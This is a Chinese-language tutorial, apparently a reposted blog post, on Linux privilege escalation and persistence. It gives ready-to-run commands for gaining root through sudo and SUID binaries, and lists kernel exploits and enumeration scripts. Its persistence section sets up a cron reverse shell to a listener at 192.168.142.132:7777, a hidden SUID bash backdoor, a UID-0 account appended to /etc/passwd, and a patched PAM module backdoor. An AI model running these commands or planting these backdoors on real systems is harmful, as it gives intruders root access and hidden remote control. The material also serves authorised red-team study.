Linux權限提升與維持
目錄- Linux權限提升與維持
- Linux權限提升(Privilege Escalation)
- 1、內核漏洞提權
- 2、SUDO提權
- 3、SUID提權
- 3、第三方服務提權
- 4、提權輔助腳本
- Linux權限維持
- 1、在電腦上保留webshell以便以后連接
- 2、定時任務
- 3、SUID后門
- 4、SSH Key免密登錄
- 5、添加用戶
- 6、PAM后門(先做快照)
- 7、其他后門
- Linux權限提升(Privilege Escalation)
Linux權限提升(Privilege Escalation)
1、內核漏洞提權
Linux內核版本:
https://www.kernel.org
CVE內核漏洞:
https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33
2、內核漏洞
Dirty COW (CVE-2016-5195)
Dirty Pipe (CVE-2022-0847)
Dirty Cred (CVE-2022-2588)
Linux Polkit (CVE-2021-4034)
Linux查看發行版本和內核版本:
命令:uname -a (查看centos內核版本)
用kali中的msfconsole版本漏洞查詢
例子:searchsploit ubuntu 16.04
用find / -name "xxx"找檔案
例子:find / -name "40871.c"
2、SUDO提權
SUDO=Super User Do(以root身份運行程式)
組態檔:/etc/sudoers
編輯方法(root):visudo
用戶或用戶組 提權到什么級別
? wuya ALL = (root) NOPASSWD:/bin/chown,/usr/sbin/useradd
? 在哪些主機上 是否需要輸入密碼
創建一個組:groupadd security
在security組中創建一個用戶:useradd -g security yyy
給yyy用戶設定密碼:passwd yyy
用戶檔案:/etc/passwd
密碼檔案:/etc/shadow
給yyy用戶授權:visudo里面去添加yyy ALL=ALL ALL
yyy用戶需要用sudo加命令才能執行
提權命令:
查看當前用戶有哪些sudo權限:sudo -l
SUDO使用:
(1)sudo passwd root
(2)sudo service ssh restart
相關命令:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp
(1)sudo find /home -exec /bin/bash ;注意bash后面有一個空格
(2)sudo awk 'BEGIN{system("/bin/bash")}'
3、SUID提權
SUID=Set UID
(以程式所有者身份運行程式)
例如:普通用戶怎么修改/etc/shadow中的密碼?
因為/usr/bin/passwd檔案有s權限,而擁有s權限的檔案任何用戶都可以以檔案所有者身份運行程式,
給檔案加s權限的代碼:chmod u+s /usr/bin/find
find 1.txt -exec whoami ;
sudo find . -exec /bin/sh ;
常見的SUID提權檔案:
nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、weget
搜索有s權限的程式(不同平臺):
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
3、第三方服務提權
Redis、NFS、MySQL、Docker、Git....
4、提權輔助腳本
Linux-exploit-suggester
https://github.com/mzet-/linux-exploit-suggester
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
https://github.com/jondonas/linux-exploit-suggester-2
chmod +x linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
LinEnum
https://github.com/rebootuser/LinEnum
chmod +x /tmp/linEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt
Linux權限維持
1、在電腦上保留webshell以便以后連接
2、定時任務
? crontab -e 打開定時任務檔案bash
? crontab -u root -r 洗掉
? crontab -u root -l 查看
? crontab -u root -e 修改
測驗
kali中監聽7777埠:nc -lvvp 7777
CentOS寫入任務:
* * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&1
3、SUID后門
root用戶:
cp /bin/bash /var/.hack
chmod 4775 /var/.hack
ls -al /var/.hack
普通用戶:
/var/.hack -p
4、SSH Key免密登錄
生成和查看(kali攻擊機):
ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub
寫入(CentOS服務機):
vim /root/.ssh/authorized_keys
kali連接CentOS:
5、添加用戶
生成密碼:
openssl passwd -1 -salt admin 123456
-1的意思是使用md5crypt加密演算法
-salt 指定鹽為admin
追加(UID=0):
echo 'admin:xxx:0:0::/root:/bin/bash' >> /etc/passwd
kali連接:
6、PAM后門(先做快照)
下載編譯
rpm -qa|grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8.tar.gz
yum install gcc flex flex-devel -y
cd Linux-PAM-1.1.8
vim modules/pam_unix/pam_unix_auth.c
./configure
make
備份替換
cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp
cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
登錄測驗
7、其他后門
紅隊實戰攻防技術分享:Linux后門總結
https://mp.weixin.qq.com/s/B5cam9QN8eDHFuaFjBD34Q
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/548216.html
標籤:其他
上一篇:面試題總結
下一篇:做個清醒的程式員之成為少數派
